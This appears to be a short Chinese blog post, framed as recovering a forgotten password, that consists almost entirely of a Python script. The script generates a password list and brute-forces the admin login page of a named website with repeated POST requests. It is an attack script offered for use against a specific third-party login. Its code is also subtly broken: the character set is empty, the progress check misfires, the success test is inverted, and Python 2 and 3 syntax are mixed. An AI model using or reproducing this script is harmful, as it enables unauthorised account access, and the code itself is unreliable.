忘记秘密利用python模拟登录暴力破解秘密

忘记秘密利用python模拟登录暴力破解秘密：

#encoding=utf-8

import itertools
import string
import requests

def gen_pwd_file(file="pwd_file.txt"):
    """
    生成候选密码文件，可以网上直接下载一个或自己直接写
    """
   #  words = string.digits+string.letters
    words = ''
    pwd_iter = itertools.product(words, repeat=6)
    cnt = 1
    with open(file, 'a') as fw:
        for pwd in pwd_iter:
            fw.write("".join(pwd)+'\n')
            cnt += 1
            if cnt%5000:
                print cnt,'done'
            if cnt>500000:
                break

def get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php', username="test", pwd_file='pwd_file.txt'):
    """
    模拟登录
    """
    #请求的URL地址
    LOGIN_URL = 'http://www.quaigo.com/Admin/Public/login/login.php'
    #模拟登陆的浏览器
    HEADERS = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}
    cnt = 1
    with open(pwd_file) as fr:
        for line in fr:
            pwd = line.strip()
            DATA = {"username":username, "password": pwd}   #登录系统的账号密码,也是我们请求数据
            res = requests.post(LOGIN_URL, data=DATA, headers=HEADERS)  #模拟登陆操作
            print(cnt)
            cnt += 1
            if res.text.find(u"密码错误"):
                print(res)
                continue
            else:
                print(line)
                break

# 生成密码文件
gen_pwd_file()

# 逐个密码尝试登录
get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php')